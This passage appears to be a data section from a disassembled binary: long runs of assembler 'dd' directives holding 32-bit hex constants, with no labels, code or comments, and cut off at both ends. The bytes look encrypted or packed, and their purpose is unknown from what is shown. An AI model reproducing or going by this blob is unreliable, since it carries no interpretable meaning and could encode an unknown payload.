0CFC3E9F0h, 440BC093h, 8465D3A2h, 98175868h dd 0C641E231h, 6E12EE85h, 0EE82BB82h, 0A195D2BBh, 586F58C1h dd 4B694C3Fh, 34061F27h, 64CFAE7Eh, 825B0B3Ch, 0BF006EFBh dd 1F57753h, 73EF814Fh, 3FEDC029h, 9D0412C5h, 890442A1h dd 12D8BDF1h, 7CD5B64h, 0F60290E9h, 6C1385D4h, 463D4AAh dd 2E6A289h, 571D2168h, 2ECDC018h, 0A0604226h, 3AD48D13h dd 0FB1F5EFAh, 0D9FFD532h, 80472E7Fh, 30AC2911h, 0B14A25E9h dd 0DD939BADh, 5D4DAD1h, 9C028428h, 175BDB7h, 9561ECD6h dd 644BBCD1h, 0B5524CFCh, 2E986820h, 24A9D95Bh, 0C3595077h dd 832DB145h, 4D6E69F1h, 10F1E9ECh, 2924F5A1h, 0AAC21257h dd 160CF686h, 40596B1Eh dd 1607EF7Ah, 0F7004D08h, 0CD8145D5h, 762A234Ch, 5EF50D53h dd 2048B8A1h, 4D5AEFFEh, 0F9943049h, 53578ABCh, 26A019Ch dd 2B811A37h, 0EC2D22E0h, 0B4CB6289h, 5F06AFD5h, 1ECB9586h dd 6ADB55E1h, 168240D4h, 0B2151F6h, 16385D54h, 17BCE64Dh dd 1372062h, 3A620568h, 0FC4F158Ch, 492B2E04h, 0D5170907h dd 1D0E9F6h, 954A98C3h, 89B7B4CBh, 0E985C05Eh, 87887F73h dd 1F541464h, 951DBC09h, 57328076h, 4A1AEFBFh, 49EA5C7Ch dd 0CBC9B13Bh, 0AB0084F1h, 3DCB64C5h, 0E926B340h, 47092515h dd 72881653h, 0C4C650B1h, 5C502814h, 56A94FB1h, 4A69F84Fh dd 805BEFCh, 826F4D26h, 5D29845Dh, 0A6D9CF28h, 0E54A0276h dd 7EE10CD9h, 53BD0069h, 10842758h, 8E040563h, 4D777DE8h dd 57FA85EEh, 0FC38BA89h, 0B0496A7h, 765895E9h, 0E933D9BDh dd 6804ED00h, 98B72650h, 30291584h, 0D72C6DC4h, 3C79FF23h dd 7D2F151h, 0E0D2D508h, 1C77B1C5h, 6DAD2B30h, 25B584F3h dd 0DB0FE226h, 7774CCCFh, 0FE0AAE4Ah, 163FC289h, 2D4BDF0Ah dd 0FA591128h, 0C79C4BF0h, 822C77DBh, 0C42E0Eh, 0D335EF0Fh dd 50EB6954h, 0DD3B4D0h, 3B256803h, 4C8E53E4h, 82A5B134h dd 0D70B6146h, 6299AF02h, 5434A15Dh, 40FE7B22h, 48054A29h dd 417B6EA0h, 1694E8A3h, 81181400h, 0F90B2BE5h, 4A38CE76h dd 1B80FD29h, 250E60E7h, 3D5B24B0h, 2AAFA784h, 6FE9172Ah dd 12FF9B52h, 5F2CCA3Dh, 40B3BBECh, 0C4B2ACD5h, 8EFA6EA1h dd 0F4257EA7h, 27D172A7h, 0A198376Eh, 5582566Fh, 3915D151h dd 0C83119EFh, 8A5C105h, 0BE5918A4h, 0E57C2BD9h, 87339C86h dd 2E55E605h, 8E80491Eh, 9E1F5F2h, 5E50E9BFh, 0D94EBBFDh dd 0C92FD35Ch, 4AE160FFh, 2D10E983h, 0F4300A8Eh, 0CC86E640h dd 8DDD1F6h, 4FE93BBCh, 10A0DC7h, 0A5036055h, 2B3107FBh dd 0CC1308DAh, 0FCD3C503h, 88A14DE1h, 84A1110h, 3088FE3h dd 0BBCF0D41h, 88C1DD08h, 1EAF4718h, 1131207Bh, 0E6C90852h dd 47B72088h, 10F57E0Ch, 0CD1E40AAh, 0BA088B62h, 6CF20348h dd 22DE2010h, 10F15418h, 8C467B0h, 5F046015h, 0C59C067Eh dd 0E0762028h, 10348D33h, 4929313Ah, 8CBF7259h, 18F0B208h dd 884621Eh, 2103D3DFh, 0D2201836h, 9465084Dh, 15A7F383h dd 98F96720h, 8618B437h, 0EF40E17Ah, 88B633Fh, 18588C1Ah dd 0E508624Ah, 7423028Eh, 2059FE06h, 220C0DAh, 7E3520ACh dd 3117CB20h, 56086F14h, 0B799016Dh, 0F68B288Dh, 98B92108h dd 0BA19D608h, 0ADC180ECh, 135A8A9h, 885384FDh, 0E8081011h dd 0A83D10C0h, 389FA618h, 84809CFDh, 518F8164h, 8C3AF1ACh dd 28D5E208h, 7E144045h, 0A05111DFh, 5464D444h, 80B29CC3h dd 0D383730Ah, 9008106Fh, 0E521875h, 80BC9A28h, 10C4AE15h dd 0A2069232h, 574408FFh, 20C2632Ch, 810B71Ch, 0B61803DFh dd 92442085h, 80544080h, 6D8005C7h, 0DBF98060h, 437D08C6h dd 0FF40A819h, 6E18C480h, 9AF3055Dh, 85CA44Ch, 0A3A4A89Bh dd 0F10CAE2h, 0F8B2959Ch, 8B6DA19h, 69FC5273h, 0DEB80849h dd 3A94C02h, 101074C1h, 1B10977Ch, 7F5918D4h, 0C430B408h dd 6F70518h, 20105CEFh, 2620941Eh, 0D92C208Eh, 20623520h dd 2349ED72h, 61161808h, 0CC562218h, 0B008A179h, 40537740h dd 0B8650CBBh, 0CC468530h, 3118AC04h, 33081ADCh, 40D60138h dd 9CC5703h, 4D1CA23Dh, 0DD98494Eh, 5AE01088h, 0CB9C308h dd 0AB08F238h, 90183F66h, 388949D9h, 0FC87F515h, 0E9202320h dd 92C32091h, 182CC431h, 0EB027163h, 0C861E8A2h, 9DC884Bh dd 587022ECh, 702C02C7h, 298DA02h, 0C04A31C4h, 0B3B6B422h dd 27C9F02h, 6802A609h, 4A05057Bh, 95ACACF8h, 0B319EC29h dd 2060081Bh, 0A499E894h, 9E57C2Fh, 0CF275523h, 3B448EC7h dd 47001D52h, 0EB02752Ch, 0E896513h, 60BAB9B9h, 8F4401D4h dd 0B490240h, 8BF775C9h, 408FA4C3h, 0B9F003DEh, 33310163h dd 0B10FC0C0h, 2C30614Fh, 0DE8768ACh, 0DF6A1A7Fh, 1E7BD46Ah dd 6133753Eh, 0F8C6B301h, 3F50BC70h, 1416CE29h, 71319756h dd 80036B5Eh, 0D6444E0Ch, 0C14D4536h, 0FAA47810h, 0DA816A1Fh dd 6BBC5467h, 552DE801h, 0E238E642h, 4FD3F155h, 2980012Dh dd 6F91022Dh, 0D95E358Ch, 0BA754965h, 93A65C18h, 3ED6E1D5h dd 7A101AA3h, 66AA4BFFh, 0B804087Eh, 37E95517h, 0E580C6BFh dd 79B0F603h, 0F1524845h, 0EB74C33Fh, 685A0AD7h, 60A82880h dd 1E0F5FBAh, 0E2812700h, 6A0815F9h, 25B80250h, 563A7F33h dd 161A4F7Ch, 6FB080DEh, 16BA8E70h, 0A35BDE31h, 0B39B58F6h dd 6DBC05BBh, 0BDDA31D5h, 20FA96A9h, 0B5E95308h, 1E80D540h dd 4C5162C2h, 0E7D3D0ACh, 0C641F700h, 0D9880F35h, 0C119DE44h dd 3ED48CA4h, 1FB82B57h, 612BBA4Ah, 0BB80500h, 0B12D7DFAh dd 4BF30C16h, 4B71D0F0h, 0B0B5F8B0h, 17ED64ECh, 0B8C38324h dd 4BD386FCh, 0F3810206h, 998BC55Eh, 68047F54h, 0EBA257FFh dd 96DBD5Fh, 0E646C448h, 0B2D51AEh, 0AA14DB2Dh, 225EB763h dd 0B28E9590h, 0E55F5809h, 0B8923CCAh, 211D4EA1h, 435DDDFCh dd 4ECEF181h, 2A16D8F9h, 3E80088Ch, 617027EBh, 5A685620h dd 6A4247Dh, 5B0AAC64h, 69F4B2BAh, 28C1C50Bh, 5C601C2h dd 3EE91E4Bh, 5FBD000Ch, 11DC1879h, 30DD224Dh, 0E918EE7Eh dd 3538CD57h, 0C1F83EBEh, 0F84E96C8h, 85462F72h, 802EA77h dd 0DE014AE9h, 1665EF23h, 0ECED298Dh, 2DD03EE2h, 5A337891h dd 0AD571040h, 4ED7CAAEh, 75ACEF44h, 18BC41BAh, 4029DC59h dd 473D629Dh, 9E9494Bh, 3CE8BE10h, 0A840BE05h, 441CBAFh dd 4C81FBE4h, 3F7FE0C3h, 0F15C5F4Ah, 3853C944h, 0F83BC1B7h dd 5A3D5B3Ch, 4F0D6801h, 3B86ABE9h, 291240A6h, 805BFDD8h dd 2FC919C8h, 0E77AFB01h, 0F0B01750h, 0B6C056F9h, 0C5EE80C9h dd 1495F5E0h, 0E830310Bh, 7901527Ah, 2456267Bh, 14693E0Dh dd 705DBFFh, 58C5080Ah, 51E63FFEh, 45281428h, 0F505DCF7h dd 2D0917B7h, 0CF20DF4h, 8E2C15Eh, 55010606h, 18F96856h dd 1C821457h, 8A0F04E6h, 6B12D063h, 0FC40A9EBh, 4E2CBAEEh dd 0CEE29559h, 0C527827Fh, 0BCB8F468h, 8626ECC5h, 0FD249295h dd 5BA0A5E2h, 0FFCCEB81h, 213C060Fh, 6F836D9h, 0E6C2701h dd 22CF1EE9h, 170805EAh, 91AE2F7Bh, 6A5C9CCAh, 67ECFB7h dd 226802EDh, 13207D16h, 315817C7h, 7F8EF6D0h, 9D28762Ch dd 16CEF740h, 96796092h, 3E87882h, 1E580CC0h, 31E91C69h dd 0E59F8F1h, 81E28006h, 73037ACBh, 76F29D35h, 8F51770Bh dd 0F7BFE205h, 3564F2E2h, 975D7C0Bh, 52125C4Dh, 24F21F61h dd 67F86843h, 20A39EBDh, 489DFC47h, 3E55D624h, 469A4044h dd 6B7F9645h, 9AC0985Ah, 9D8E4F18h, 6499304Fh, 0C6BB2CCBh dd 30F00211h, 0A0E97FE0h, 7410FBA9h, 0EA836065h, 2D70684Eh dd 3AE21F94h, 0DE79CC9Eh, 0FC588844h, 0E6330DBh, 0FE08EEC1h dd 107963E4h, 94C367BFh, 0E88D4FBBh, 6BB70036h, 0C981683Eh dd 0BA3D1D55h, 0CDC18011h, 0F4B6541h, 43EA8317h, 0FD025EBh dd 1258694Ah, 240149B3h, 60793550h, 0C9D466C0h, 2AFD2473h dd 1F9B884Ah, 890D6027h, 7A5354E5h, 5DF437E9h, 26C9EECEh dd 0C5801CA1h, 8E91F8DEh, 0D38011DFh, 3059CC88h, 0CFE3E4DCh dd 866FF608h, 6268CC1Fh, 0B1955D46h, 46305603h, 32770030h dd 7F65CE81h, 0F7390A1Dh dd 8DE30D6h, 92100DE9h, 6AC20427h, 0C04F197Ah, 14023EAEh dd 0B1F343FFh, 0E9324CA0h, 4ECACE38h, 941264BBh, 82CFBE1Eh dd 686CE90Ch, 0EB582864h, 18E410D9h, 0D9BC5B3Dh, 6732851Dh dd 0C736DD4h, 47FBE915h, 1B0F0D10h, 463C8E1Ah, 0C4692B8Bh dd 0A91C8730h, 5268C2DCh, 16AFC635h, 0FF7DD2E9h, 0E93BFA39h dd 83C5B4A5h, 9D6693E0h, 9F4FCF54h, 0DFD389E7h, 0FA087A84h dd 1763372Ch, 0B1DEB6A3h, 2EC1CD29h, 455FADB6h, 91E15695h dd 0C9DD8833h, 0E6A9EFECh, 6AEBE158h, 0FD04B5A1h, 74570CC5h dd 12108EEh, 0F694A937h, 0B6CEB101h, 4DC0C2F9h, 0FFFCA52Ch dd 0BD027F94h, 7F8205B9h, 39F566A0h, 0A70964BBh, 11228DE9h dd 54E46D09h, 0B6A2F6B4h, 0AA5A123Eh, 854A72Dh, 5118A3AAh dd 73ACE56Bh, 0A84F5E29h, 6E4312F7h, 0CBC06EC1h, 63F1B108h dd 0E4348EF9h, 0AABD0655h, 0A5422935h, 159ECD02h, 60457173h dd 0FADFE476h, 9C5897FDh, 0ADE98928h, 0F589CE50h, 831344D2h dd 7C4E00BEh, 0C32973EAh, 6C9DBCAEh, 89DD85D2h, 48845D54h dd 60841809h, 0C0287174h, 427A2E0Ch, 0FC2FE916h, 8B9B79A9h dd 0EA7E2DA6h, 4805C363h, 23014C43h, 860F10D3h, 0CCC6DE96h dd 8AA9E918h, 2F685010h, 0C8126B4Bh, 8252E95Ch, 4A65F518h dd 667A579Dh, 0CEE86729h, 9F4FBFA8h, 0B465848Ah, 818E98B8h dd 89B9295Fh, 3592EFD2h, 0EBC8FD4Ah, 74C00AB6h, 0ED80CDFEh dd 5FEBE01Eh, 558BC59h, 7FFAE9BEh, 3CE4A0B4h, 307B4061h dd 88384796h, 5B5B871Ch, 17C44DF2h, 8ED8EEF9h, 164B598Eh dd 0AA4F2105h, 2606AA78h, 2CFCAE70h, 16CC59CBh, 0B6980002h dd 0E97E3C55h, 2CC48C20h, 0B2FE31h, 9BD8D4F6h, 0F55801DCh dd 8855B282h, 2F2CF93Ah, 12E07636h, 0A2EE2081h, 0C6DFDFCEh dd 9B19DC2Eh, 8B454C0Ch, 315C5187h, 0CE358E5Bh, 0D302208Ah dd 0F7016BF4h, 0DEADF0C5h, 0A115807h, 16AAED94h, 0BF103E20h dd 9A0BA672h, 0D8743D4Fh, 2177278Eh, 31443174h, 596161AEh dd 5D1E8402h, 8DAB1468h, 26ED3AA3h, 0EAEF44B7h, 0A35B67E7h dd 0B28AD24Bh, 0FE0A21D2h, 0FF8004A8h, 0A0261E6h, 55565EC8h dd 0F75D58D6h, 0C20EDD52h, 88397BE9h, 5D72C1ACh, 512726E5h dd 5694CC08h, 695759B7h, 0CD09DBF0h, 7567C957h, 8B0F7300h dd 0E3DE38D2h, 0CA882687h, 0DE835055h, 588E7246h, 681690DFh dd 0F218529Eh, 45BC95Ah, 4F0ED65Dh, 57491BC6h, 6568F101h dd 0C8893A72h, 7C54420h, 36C34C96h, 0ED0A6F29h, 1580508h dd 3D36C0D5h, 79151151h, 70F3AEE9h, 52272790h, 0B2F7228h dd 3C0473C8h, 22F6CD03h, 866CAF24h, 1C2D8446h, 0C336EA80h dd 0DCB4DBC2h, 0A3F9D4DBh, 96102C5Fh, 29E3280Bh, 0A3E5DDEEh dd 8D971A5h, 0C100F721h, 840F04E0h, 0A59E52h, 0C755E405h dd 0E9E60191h, 5C61744Dh, 6B680BC0h, 0D5AF302Ah, 0A00B0955h dd 0CA46EB29h, 3DE3124h, 0D8EEB373h, 96285111h, 0CF07C694h dd 2455B907h, 28A33E0Ch, 0C53702A0h, 5ED860DAh, 3D513341h dd 0DA84098h, 655B38CFh, 0B583F4B5h, 99205BCCh, 2AD020CAh dd 0E551A560h, 3B2F286Dh, 578D139h, 0E43BDF5h, 2927AF36h dd 0C5281043h, 5D97710h, 3C115087h, 6248EBC0h, 0E9570CD5h dd 495895A8h, 0C65455ECh, 9758F7DAh, 11613114h, 7DE0BAC7h dd 0F0E882FAh, 764BF968h, 7FC4C0F9h, 61F0524Ch, 617A12DBh dd 0D57FF5Ah, 0F4EF79BFh, 33D2DFF3h, 194B09AEh, 9E5E5D62h dd 8E538F40h, 0EB310508h, 0B877DCE9h, 0B7E1E73Dh, 0F672013Ch dd 6EB52E78h, 0C9EF9F73h, 1D20DD05h, 0FD32F44Bh, 7E627095h dd 819A2A56h, 31C92AEFh, 0EAD89DDAh, 7A062204h, 29FE5E29h dd 96BB3C61h, 0EF0309FEh, 0C6D8A02Ch, 42E79B51h, 541B9AFh dd 0EEC74021h, 78BF6780h, 28CE6864h, 3B272608h, 0B5EE98Dh dd 0EBD39C6h, 0F525F8C2h, 0E16C2A90h, 0C66967B0h, 0E807E3BEh dd 907DEE63h, 0FE03589Ah, 0B4453C84h, 0F513AC9Eh, 5BEE04Ah dd 0AEF301A7h, 8A4E4DCBh, 0FBB25B60h, 0E9F86637h, 0BEF51E05h dd 40E428CCh, 314FAD4Ah, 0AEB423ECh, 0E38143A2h, 0F8215D47h dd 2B02DDEFh, 66E9154Ah, 5E6CDF4Fh, 0CC61CE26h, 431B4B40h dd 9659867h, 67DB93Fh, 0F379C6D4h, 164B8420h, 51D752h dd 0CC775F19h, 5025E934h, 68F110E5h, 0F5384116h, 0FE52292h dd 0A5CA1BF7h, 10C70956h, 0C88387E2h, 3A2DD8A7h, 11BE667Ch dd 0D95A1C15h, 6493DE50h, 0EC345D44h, 6F3F847Ah, 8232CBE9h dd 985DBFA7h, 384DBEF3h, 0FAA601CEh, 4A9402CCh, 9F4063F5h dd 130B32E2h, 0A0E3C11Ah, 822CF263h, 280CC130h, 21C5D17Bh dd 63F37F11h, 0E707541Eh, 5A8AFFDBh, 35016439h, 0B3648F49h dd 0B2F4838h, 0CA52BA5Ch, 61BD513Fh, 2E3E3C68h, 13754031h dd 0A1C30F64h, 6C685D87h, 4C5FEA4Eh, 0EB14DCEDh, 8D20BF6Ch dd 870F0C64h, 510C42D0h, 72F3FFA0h, 894BE718h, 9DCA2158h dd 47BF0AD8h, 8C48241Ah, 385956F4h, 0D0F72560h, 3ED2CD05h dd 7213FABAh, 0B9CC2051h, 0DA2C0A5Eh, 0B703D203h, 6607C45Dh dd 4073286Ah, 792EBB07h, 53AE4B41h, 0D3285744h, 0C32C81FFh dd 55F53E47h, 0C81026D7h, 977D2512h, 2C01694h, 1A850F60h dd 801EC3F0h, 927295CBh, 0D5A6A21Ch, 0D2F62B9Dh, 80F24CD0h dd 0DBB0CCFEh, 4D0ED265h, 40802280h, 9A524C6Dh, 42E0C20h dd 0A2190125h, 213AEA9Bh, 4402E247h, 0AFAF95A0h, 8B483093h dd 0B6E8DD36h, 2EBFFA7h, 0E94111D9h, 4829DB42h, 1DBE3077h dd 0CC685252h, 13AD7717h, 0B2D67A6h, 0B2DC2D89h, 0CB43C00h dd 2D2AA705h, 405E156Eh, 0D853B318h, 9DE850D1h, 67205B5Bh dd 883430B0h, 0A0B7DA8Ah, 0EE430CC8h, 9C029E68h, 20F42D2Eh dd 0C3E5D7D2h, 66685882h, 6529546Bh, 0A48EC512h, 2A1FFE1Eh dd 390948B9h, 0E191DD79h, 1B77A2Dh, 0B6F5416Bh, 0DC0525D8h dd 89E45AFEh, 0D5776ABh, 0B7A7295h, 0CBB6E950h, 6EF8CA2h dd 34F66B60h, 0C261330h, 0F131720Dh, 0D688EB03h, 775BE97Ah dd 2DC98134h, 56B76960h, 0ED5F8235h, 25C705A4h, 10FF41B0h dd 5B26078Ch, 302429C1h, 3C4A601Ah, 0F2297C02h, 851EE0E9h dd 80FE5A97h, 75D96867h, 48CAF283h, 78FD89CBh, 0A8C4A55h dd 986C073h, 0C007B252h, 44A2E9BEh, 7C766A79h, 0C9426C67h dd 1F89DD73h, 0ECA28509h, 0C1DDC888h, 0CF20BA6Dh, 0F706C9C9h dd 6AEDA13h, 9425E9F6h, 0FFC21E81h, 92546DDDh, 0DE3F61EEh dd 45762D1h, 72647F03h, 28A41F80h, 0E9763B80h, 812A0AA4h dd 595B08CBh, 5316Ah, 115A6F0h, 0D3E9DF0Bh, 5284980Ah dd 0B4500153h, 10EC80CFh, 4B7DD20Fh, 0EFF4C8ACh, 9EE74C88h dd 83845D20h, 0D808A707h, 0F7C1BB77h, 46218827h, 3F3581A4h dd 0FB1A12C8h, 0E9FC3626h, 0C91ABEF8h, 0D9005110h, 6E9F389Dh dd 8F8E619Dh, 90F7D580h, 894CB748h, 8630F97Dh, 9AC31BEAh dd 6AA03D5Ch, 0BD276798h, 0D3E0D7C2h, 0EB309E98h, 0E9490694h dd 0D8F8AADBh, 947FF1FFh, 423F988h, 5FC70574h, 0F9608901h dd 0D2812B42h, 776BF107h, 0F1A9B42Fh, 0ADFC2F2Dh, 4E2B4DC9h dd 0BF574C40h, 1D66C20Bh, 34565406h, 0E7064606h, 1F90E207h dd 11A657C4h, 7757B800h, 0EBA6175h, 2737A54Ch, 0B50F09Eh dd 154911Ch, 882C0D0h, 0C180A864h, 0EFCC5331h, 39E070E8h dd 17050507h, 8021DC73h, 0F38143A6h, 0EB182D0Bh, 4058434h dd 3E6CA4D1h, 5025A2Dh dd 587DC512h, 566BE1D6h, 0F07842DCh, 82CE8100h, 0EC944872h dd 0F7734077h, 2604D26Fh, 2AE5ED64h, 95BD59F6h, 0AA301058h dd 0D12D1082h, 39C52713h, 1504994h, 2E17A483h, 4A4130EFh dd 77756856h, 0EDFE579Eh, 0A7282D13h, 952A864Eh, 7A0BAA46h dd 0AB3E6E4Dh, 92A80926h, 0DCEE00A3h, 0C151C679h, 0E649FACAh dd 0FEF06A34h, 3CFB02F6h, 76E93AF3h, 0BD1E9FD0h, 5ACF47B2h dd 0F01D6545h, 0F3218CAAh, 0EEB987FDh, 0CE94515Dh, 5E5E71A0h dd 0B4EAE050h, 38A76F00h, 0EC0565B9h, 0C4489529h, 0EC9C4649h dd 83D88BBFh, 3B717E3Dh, 0C61B10B3h, 3EECFCE9h, 9B4E901h dd 0EFF03D6Fh, 2C4E12AFh, 1739D468h, 43DAC08h, 0C3A4E957h dd 6DB38B1Eh, 0F5922871h, 0A85F6BB0h, 4B93688Fh, 34DFE333h dd 0DEAE8303h, 5D8F16AEh, 0F93BD6CDh, 545002A7h, 7F8A37E9h dd 5F4A58E6h, 0C83149C1h, 0F2F52FDh, 83A65DD4h, 452AAD0Eh dd 0ED81453Dh, 0F647A727h, 83F550BAh, 0EC259897h, 6CC7055Bh dd 164418B8h, 0B04AAC0h, 74E24E69h, 0A9E6809h, 2B0117Bh dd 95555DE9h, 147BEC94h, 0AD835CBCh, 0B020E55Bh, 302129F2h dd 0B5186D8Dh, 7A60A63Bh, 5D7B110Ch, 0C3AC8F8h, 8437C58Fh dd 1EA0260h, 5ECFCD8Bh, 0B1A9FACh, 1420445h, 8FF10EEh dd 20E99154h, 5C4B446Bh, 0B0173AA9h, 1B1A7EEh, 29ABB951h dd 0E1F03AD1h, 9F3D3FC8h, 0B7890F86h, 97F88927h, 17FD4A09h dd 8BB68249h, 795855D5h, 39F17F16h, 0B5309CF5h, 1119918h dd 0B10412Bh, 66BE8353h, 1F3B171Bh, 9060CEEh, 2B828927h dd 0BF946h, 4472A4BEh, 0C329331Ch, 23B0EB64h, 7C97CF32h dd 69EF013Bh, 2E172563h, 0E7D09B87h, 735CD430h, 0B42F69E9h dd 0E97841DEh, 1212F08h, 0A3839E71h, 0F74EF552h, 7222DD79h dd 407B5070h, 0E678DD89h, 964191F4h, 0B04D82EAh, 0A4405509h dd 6B2785F9h, 1290F2A8h, 30015332h, 72BF357Dh, 6813487Ch dd 93FC41B8h, 0CE00B8DAh, 59E5086h, 7DDB60B5h, 0FA612EAFh dd 4CB2108Fh, 1C60048Fh, 0B1046287h, 68B8166Dh, 1CB1A24Eh dd 4F386753h, 0DEDBF6BDh, 143BDA25h, 555A2A05h, 91E91273h dd 0EB084032h, 36F11016h, 256AF99Fh, 792DB3C7h, 4C02911Ch dd 5EFB599Ch, 46C23E1h, 0FE2D1184h, 662FBF3Dh, 0CE95506Dh dd 2C5995C8h, 9D015EC5h, 56CF7C47h, 6760C82h, 58557BB2h dd 420882CBh, 5C84240Eh, 8BDF39B9h, 23148126h, 83FD99Dh dd 0EB81ED02h, 105034D0h, 9F4BE8ECh, 5D699273h, 209D5E1Ch dd 4A7EB293h, 38050239h, 50E74BA1h, 0D3588AABh, 98BB0B9Dh dd 125854D0h, 0CC596A68h, 0C74D2A15h, 58C112A1h, 33CAF7ACh dd 0B5C488BCh, 0BB534700h, 24A02D37h, 80B82125h, 4B01C4C7h dd 0FA4E295Eh, 0AB1FECB6h, 0C02EB83Bh, 0B652025Ch, 33DD306Dh dd 5BFEC09Dh, 0DFD65CF6h, 57ED004Ah, 0F209EC68h, 27AECFFh dd 0EA052D92h, 80627CB6h, 84B307C3h, 0D653E2BFh, 21522DEBh dd 2F57924h, 0B10C40EAh, 0A132E8B9h, 3C67B337h, 0AA681D25h dd 0E4276801h, 5FE61846h, 528C2863h, 9F37E80h, 29388D02h dd 0DC607BEAh, 34CAF10Dh, 281CBE80h, 67D5C77h, 7F795DDEh dd 0E2F5033Dh, 0F04CFE51h, 0D254F601h, 0ED37FA08h, 1228D5A6h dd 0EC68E9DDh, 0B9B95A42h, 0E5A980B4h, 37138805h, 7EC52EE9h dd 84F245EFh, 0F495BAFEh, 0C6A92F18h, 4058B0FBh, 172B68F2h dd 83178B38h, 97B65640h, 1D54CE80h, 0B908E6C0h, 0C1E97585h dd 0F275886Bh, 6FC32E16h, 811357C4h, 0AFC19184h, 656817CDh dd 7E006248h, 0C14C7A69h, 599707E1h, 6FBB0202h, 4775B41Ah dd 0E24C3064h, 395D1D1Fh, 8EF2858h, 80E4E927h, 2C685FFEh dd 218BF10h, 44BB2F9Ah, 0D8EB5844h, 19F86B8h, 1C772141h dd 98186D72h, 5060213Eh, 1DF4BDA4h, 0BA61F40Dh, 0C17A0B3Ah dd 2403DB02h, 403FC35Fh, 9255BD63h, 19F39796h, 18A55E10h dd 0CF4E5D5Ah, 0C33B5E4Dh, 404E48A5h, 21A511A2h, 2FCCB174h dd 0B42B1B39h, 0A25B1207h, 0D6E483B9h, 7B0B8A32h, 8072A07Dh dd 396EA423h, 7FCDEC60h, 3BC50170h, 5A68D5F7h, 22372E5Bh dd 88CA9074h, 255A357Bh, 9D0BFECCh, 1E248202h, 0F3E9A075h dd 97C8B28h, 8DE9536Fh, 3FB7CD61h, 76276F6h, 0DD058E9h dd 6C17F198h, 4C033833h, 2F2D282h, 2EF1C751h, 0F40077Ah dd 0B2276EECh, 750F866h, 2935D90Dh, 17C6E5FEh, 0E937F408h dd 0DF11B92Ch, 205822A5h, 9BE777EAh, 82685000h, 0B6593D38h dd 48625A4Eh, 8266797Dh, 0D4508F2h, 8C7585D5h, 0A83BA7A1h dd 0C16E1BF9h, 92D7F0C3h, 0B8B75B4Ah, 78E679A5h, 54805818h dd 0BA50BB8h, 39E9AA76h, 0B241EAE2h, 9240303Ah, 0FADDC34Fh dd 0E24B2F2Ch, 87AFDDC8h, 0F36440DCh, 258898A0h, 0FA7958E7h dd 452CDE25h, 0ACC8BE2Fh, 502E496Ah, 0C842E600h, 0C18A0F75h dd 0A75B7E62h, 0A214FF86h, 55107B5Eh, 27E704CDh, 78D93B1Ch dd 0E9A07278h, 99CE769Ah, 1793E6C2h, 0CC2BBD42h, 0B0D3A204h dd 0D1B758B2h, 42424A65h, 41743D0Ch, 0C0125F45h, 55643A87h dd 87A872FEh, 87EF5377h, 0AFC06E9h, 759A2D22h, 0E00F63FDh dd 529EE9DBh, 793C1E4h, 0F247C53Eh, 2A785969h, 42B314C1h dd 15F1320Ah, 6891003Ah, 69B5197Fh, 454A5A2Ch, 0EFC241ADh dd 12099EC8h, 5454E9D3h, 4B751CA9h, 219E3505h, 0A122EF7h dd 0F9565912h, 5644F537h, 98CC20F9h, 0EDE91350h, 0A869241Bh dd 16163257h, 0AB940B45h, 2DFF4C9Dh, 13D15AD3h, 8B91A517h dd 982FE870h, 2145F996h, 70EBBC24h, 0B754E058h, 1AC95B79h dd 36C7512h, 9ACD35E2h, 8E817689h, 2A9607BFh, 6491FD42h dd 0E777D1F6h, 46C22D4Ah, 2E60754Ah, 777C797Fh, 339FB42Bh dd 2AF2913h, 0EB48FF4Bh, 0D035EA85h, 7C0A0514h, 7C6B8725h dd 1C0720F9h, 2748A2E9h, 0A4AB1CDFh, 0E7EA2752h, 5780A273h dd 382ED8BFh, 0E94F0B5Fh, 0D422FAF9h, 442D2180h, 2BA18441h dd 5FF07E06h, 2F02109Ch, 0C16F0518h, 56ECCFBBh, 0C1014E62h dd 52A16E6h, 0D00980A1h, 0E9B36C2Eh, 3A9A0F71h, 5818F895h dd 372057D0h, 6231D2BBh, 66000B13h, 9FF3CF31h, 0C20BFE08h dd 0A4571EE8h, 5F4C20FCh, 0ACA85D5Bh, 63F16FADh, 12966D33h dd 0BABBC461h, 69AEC7F0h, 1C82466Ch, 0C520999Eh, 9D561CBEh dd 0AB6B7B82h, 0C0E5C102h, 0BEDF525h, 1A3C750h, 0A44978Eh dd 0CB3DA81Eh, 70D0AB70h, 0FC6B22D4h, 3F1EDDEEh, 1CB3D78h dd 5AA1DC6Dh, 0C268C9D9h, 15012h, 200CAC77h, 0F45FF8E8h dd 0A8BE1756h, 293F0915h, 0D720FB79h, 0E9580C80h, 8559C432h dd 0A6A283EDh, 4FC29DD7h, 56BC9A1h, 7F0333ECh, 0EBC14BBAh dd 9F1A428h, 0BD84CE7Eh, 0E9990775h, 0B51C14A6h, 0F0175E5h dd 7B7168C8h, 7F120A76h, 94DCF8E6h, 6D610043h, 0BB530BBAh dd 68120064h, 7FE3810Ch, 2C60F133h, 455ACA0Ch, 9C909D72h dd 66265016h, 100326Eh, 9D410A5h, 645B58D9h, 10E90E2Ah dd 3BE0868Bh, 0AF8EBC47h, 4E0D165Fh, 0C6BAC029h, 0F82D0231h dd 85365C0Ch, 0A99822E9h, 58AE4FA8h, 35CF2C4Eh, 0D37A4B25h dd 0C90B0950h, 0E817B982h, 0C8926802h, 5A80E9A6h, 0BD192033h dd 8E46B23h, 5DEF3102h, 40269505h, 70BCE92Dh, 292EE174h dd 0F5F430F3h, 80701297h, 0EAE3DB00h, 0C9051C0Dh, 0AD141406h dd 42F6200h, 17FEE903h, 40BD6FB2h, 9DE7988Dh, 9AE2CA76h dd 0A7E4540Bh, 0C5B0EF46h dd 234A6D2Fh, 0C957030Ah, 7125DCD6h, 4D27817Ah, 2BCC3FAFh dd 806E54B6h, 0C1404528h, 0C99F50C7h, 0BA123513h, 46160F21h dd 5AA27085h, 2B1B678Dh, 5BF89FE0h, 0E8283113h, 0BB161571h dd 4BF0530Eh, 0C4EB56C7h, 5E8165F9h, 0C204071Dh, 5BD5FA43h dd 52530CDEh, 56B55533h, 2E9D022h, 590A65B4h, 3600B955h dd 895D7A71h, 7D5B8CDh, 926BC6EDh, 0D216FE2h, 40078B4Fh dd 0FF5529D9h, 0F5095C74h, 7F7BCCE9h, 0C7EF8919h, 36BB1000h dd 0D10CA309h, 0B64CF8E3h, 82BF004Dh, 0BA746320h, 0BA0B866Ch dd 0D189275Fh, 4184BE76h, 0EFC26519h, 8A915F55h, 2ECE7043h dd 0F38149B6h, 73DA5DECh, 0D63B21h, 0C0C7C657h, 0D8285917h dd 0EF2F01BFh, 2F1A45E9h, 7180F3F2h, 